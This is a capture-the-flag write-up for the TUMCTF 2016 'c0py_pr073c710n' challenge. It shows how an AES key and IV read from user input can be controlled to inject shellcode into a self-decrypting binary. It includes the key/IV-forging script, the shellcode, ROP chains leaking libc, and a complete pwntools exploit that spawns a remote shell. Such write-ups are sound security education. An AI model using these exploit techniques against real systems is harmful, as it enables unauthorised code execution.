English [TUMCTF 2016] [EXPLOIT 200 – c0py_pr073c710n] Write Up

Description

Software piracy is a crime!

Don’t steal our hard work.

nc 104.154.90.175 54509
download

HINT: 2.19-18+deb8u4

Solved by: 26
Bonuspoints: 11

Resolution

NB: All the code can also be found there.

We are given a binary, as usual with every exploit, we get some information:

laxa:copy_protection:10:36:10$ file cat_flag.exe 
cat_flag.exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f9c231071c8b984084a7e8fc1ed8e3874e9bedce, not stripped
laxa:copy_protection:10:36:20$ checksec --file cat_flag.exe 
[*] '/home/laxa/Documents/Repos/Challenges/CTF/tumctf2k16/copy_protection/cat_flag.exe'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Low protection on this binary and not stripped, let’s see what it’s doing!

laxa:copy_protection:10:36:26$ ./cat_flag.exe 
Welcome to cat_flag.exe v0.3
Copyright (c) 2015 h4x0rpsch0rr

Thanks for choosing h4x0rpsch0rr.
To protect our paying customers we ask you to enter your personal license key!
License Key: wqdwqdqwd
Decrypting protected code...
Finished decryption!
Starting protected code...
Segmentation fault

It’s asking for a key, then segfaulting.

laxa:copy_protection:10:37:34$ dmesg | tail
[...]
[66640.027435] traps: cat_flag.exe[50793] general protection ip:400ade sp:7fffe6c0ef00 error:0 in cat_flag.exe[400000+1000]

And the binary is crashing inside the .text section at 0x400ade.

Let’s see with ltrace what is happening:

laxa:copy_protection:10:38:16$ ltrace ./cat_flag.exe 
__libc_start_main(0x400be5, 1, 0x7fffffd3d338, 0x400e40 <unfinished ...>
setbuf(0x7fd504b732a0, 0)                                                                                                                                                 = <void>
puts("Welcome to cat_flag.exe v0.3"Welcome to cat_flag.exe v0.3
)                                                                                                                                      = 29
puts("Copyright (c) 2015 h4x0rpsch0rr\n"...Copyright (c) 2015 h4x0rpsch0rr

)                                                                                                                              = 33
puts("Thanks for choosing h4x0rpsch0rr"...Thanks for choosing h4x0rpsch0rr.
)                                                                                                                               = 34
puts("To protect our paying customers "...To protect our paying customers we ask you to enter your personal license key!
)                                                                                                                               = 79
printf("License Key: "License Key: )                                                                                                                                                   = 13
fgets(foobar
"foobar\n", 33, 0x7fd504b734e0)                                                                                                                                     = 0x7fffffd3d1f0
ERR_load_crypto_strings(0x7fffffd3d1f7, 0x7fd505191007, 0x7fd504b747b0, 0xa726162)                                                                                        = 0
OPENSSL_add_all_algorithms_noconf(10, 1, 0x7fd504cfe61b, 412)                                                                                                             = 1
OPENSSL_config(0, 0xffffffff, 0x7fd504b72628, 0)                                                                                                                          = 1
getpagesize()                                                                                                                                                             = 4096
mprotect(0x400000, 4096, 7, 4096)                                                                                                                                         = 0
puts("Decrypting protected code..."Decrypting protected code...
)                                                                                                                                      = 29
EVP_CIPHER_CTX_new(0x400ade, 31, 0x7fffffd3d1f0, 0x7fffffd3d201)                                                                                                          = 0xde17b0
EVP_aes_128_cbc(0xde1858, 0x40021200, 0xde17b0, 0)                                                                                                                        = 0x7fd504f51400
EVP_DecryptInit_ex(0xde17b0, 0x7fd504f51400, 0, 0x7fffffd3d1f0)                                                                                                           = 1
EVP_DecryptUpdate(0xde17b0, 0x400ade, 0x7fffffd3d1d0, 0x400ade)                                                                                                           = 1
EVP_DecryptFinal_ex(0xde17b0, 0x400aee, 0x7fffffd3d1d0, 0x400aee)                                                                                                         = 0
EVP_CIPHER_CTX_free(0xde17b0, 0, 0x606506d, 0xde0ce4)                                                                                                                     = 0
mprotect(0x400000, 4096, 5, 4096)                                                                                                                                         = 0
puts("Finished decryption!"Finished decryption!
)                                                                                                                                              = 21
puts("Starting protected code..."Starting protected code...
)                                                                                                                                        = 27
--- SIGILL (Illegal instruction) ---
+++ killed by SIGILL +++

Program is getting some inputs, initializing OPENSSL library, setting the .text with RWX, unciphering some part of the .txt and then setting the .txt back to RX and then segfaulting…
Looking at the disassembly, we see that after the puts, the program is calling protected at 0x400ad6 but only segfault at 0x400ade:

  400df9:	e8 d2 fa ff ff       	call   4008d0 <mprotect@plt>
  400dfe:	83 f8 ff             	cmp    eax,0xffffffff
  400e01:	75 07                	jne    400e0a <main+0x225>
  400e03:	b8 ff ff ff ff       	mov    eax,0xffffffff
  400e08:	eb 2d                	jmp    400e37 <main+0x252>
  400e0a:	bf 32 10 40 00       	mov    edi,0x401032
  400e0f:	e8 ec fa ff ff       	call   400900 <puts@plt>
  400e14:	bf 47 10 40 00       	mov    edi,0x401047
  400e19:	e8 e2 fa ff ff       	call   400900 <puts@plt>
  400e1e:	b8 00 00 00 00       	mov    eax,0x0
  400e23:	e8 ae fc ff ff       	call   400ad6 <protected>
  400e28:	bf 62 10 40 00       	mov    edi,0x401062
  400e2d:	e8 ce fa ff ff       	call   400900 <puts@plt>

We also see that the aes cipher will be used to uncipher the 0x400ade part of the .txt. AES 128 is using 16 byte keys but we see that fgets is actually getting 33 bytes of input. The stack layout is like that [key][1 byte padding(suppose to be nullbyte)][IV for the AES], that means that we can actually control both the key and the IV when the AES unciphering call is made!
Controlling both the key and the IV and also knowing the ciphertext means that we can control easily the first 16 bytes of the plaintext!

We made a little script to find the correct needed key/IV to obtain such a plaintext (in our case, we want a sequence of byte, this sequence of byte is going to be a shellcode):

#!/usr/bin/env python2

from Crypto.Cipher import AES
import binascii
import sys

# this is the sequence of byte we want to have as plaintext
seq = "\xbe\x50\x15\x60\x00\x6a\x7f\x5a\x0f\x05\x48\x89\xf4\xc3\x90\x90"

key = "laxa" * 4
IV = "ABCDEFGHIJKLMNOP"
obj = AES.new(key, AES.MODE_CBC, IV)
# this is the sequence of byte in the binary
ciphertext = "\xC8\x56\xF9\x5D\x1F\x6B\xCD\x27\x5C\xD8\x7E\x91\xA8\x90\xA3\x1d"
plaintext = obj.decrypt(ciphertext)

tmp = plaintext
newIV = ""
for i in range(0, len(IV)):
    newIV += chr(ord(tmp[i]) ^ ord(seq[i]) ^ ord(IV[i]))
sys.stdout.write("IV to use: ")
for x in newIV:
    sys.stdout.write("\\x" + hex(ord(x))[2:])
print ""

keykey = "laxa" * 4
obj2 = AES.new(keykey, AES.MODE_CBC, newIV)
plaintext = ""
ciphertexta = "\xC8\x56\xF9\x5D\x1F\x6B\xCD\x27\x5C\xD8\x7E\x91\xA8\x90\xA3\x1d"
plaintexta = obj2.decrypt(ciphertexta)
assert(plaintexta == seq)

Now that we know how to control the text that is going to be executed, it’s time to find the good way to exploit the binary!
Good thing for us, both RAX and RDI are set to 0 when the protected area is called, which means that we can have that shellcode executed:

global  _start

_start:
        ;; both RDI and RAX are already set to 0
        mov rsi, 0x601550       ;buffer in .bss
        push 0x7f               ;size of read
        pop rdx
        syscall                 ;read
        mov rsp, rsi            ;ret to ROP
        ret

And the little bash script to extract shellcode:

#!/bin/bash

nasm -f elf64 -o stage1 stage1.asm
TMP=`for i in $(objdump -d stage1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;`
echo -n "stage1 shellcode length: "
perl -e "print \"$TMP\"" | wc -c

for i in $(objdump -d stage1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo

Only 14 bytes long, perfect since we need less than 16 bytes shellcode. We are going to read more input in the .bss segment to place a ROP.
The ROP is the following:

ROP = p64(0x400ea3) # pop rdi ; ret  
ROP += p64(0x601418) # puts.plt      
ROP += p64(0x400900) # puts             
ROP += p64(0x400a40) # pop rbp ; ret      
ROP += p64(0x601578) # new rbp                 
ROP += p64(0x400e32) # mov eax, 0 ; leave ; ret     
ROP += p64(0x400ADE) # our shellcode     

With that ROP, we will leak the address of puts in the libc and then going back to our shellcode in 0x400ade to read our second ROP payload.
The libc used on the remote is given as a hint. Sadly enough, we couldn’t find the libc online but hopefully we had a VM with that version of the libc, we can find then all the offsets needed to finish our exploit.
The last ROP is a standard ret2libc:

ROP = p64(0x400ea3) # pop rdi ; ret           
ROP += p64(binsh + baselibc)
ROP += p64(system + baselibc)

Which gives us the final exploit:

#!/usr/bin/env python2    

from pwn import *
import binascii
import struct
import time

def up64(data):
    return struct.unpack("<Q", data)

###       

if len(sys.argv) > 1:
    DEBUG = True
    offset = 0x6b990
    system = 0x41490
    binsh = 0x1633e8
    execve = 0xba310
else:
    DEBUG = False
    offset = 0x6b990
    system = 0x41490
    binsh = 0x163708
    execve = 0xba310

###                

if DEBUG:
    r = process("./cat_flag.exe")
else:
    r = remote("104.154.90.175", 54509)

### STAGE 1: leak libc                                  
r.recvuntil(": ")
#log.info("press key")                
#raw_input()                    
# payload is as follow : [16 bytes key] [1 byte padding] [IV]              
# the IV used is from ./aes.py                                           
p = "laxa" * 4 + "X" + "\x07\x88\x90\x54\x1f\x97\x5b\x1b\x2b\xce\x60\x1c\x97\xef\xed\x4c"
log.info("stage1: inserting shellcode")
r.send(p)                                       
r.recvuntil("Starting protected code...\n")
ROP = ""
ROP += p64(0x400ea3) # pop rdi ; ret           
ROP += p64(0x601418) # puts.plt              
ROP += p64(0x400900) # puts                  
ROP += p64(0x400a40) # pop rbp ; ret           
ROP += p64(0x601578) # new rbp                  
ROP += p64(0x400e32) # mov eax, 0 ; leave ; ret    
ROP += p64(0x400ADE) # our shellcode         
log.info("stage 2: ROP to leak libc")
r.sendline(ROP)
data = r.recvline().rstrip()
while len(data) < 8:
    data += "\x00"
libcptr = up64(data)[0]
baselibc = libcptr - offset
log.info("libcptr: " + hex(libcptr))
log.info("baselibc: " + hex(baselibc))
ROP = ""
ROP += p64(0x400ea3) # pop rdi ; ret                 
ROP += p64(binsh + baselibc)
ROP += p64(system + baselibc)

log.info("stage 3: ROP to shell")
r.sendline(ROP)
r.interactive()

The flag is: hxp{The unauthorized reproduction or distribution of this copyrighted work is illegal. Criminal copyright infringement, including infringement without monetary gain, is investigated by the FBI and is punishable by up to five years in federal prison and a fine of $250,000.}

Leave a Reply

Your email address will not be published. Required fields are marked *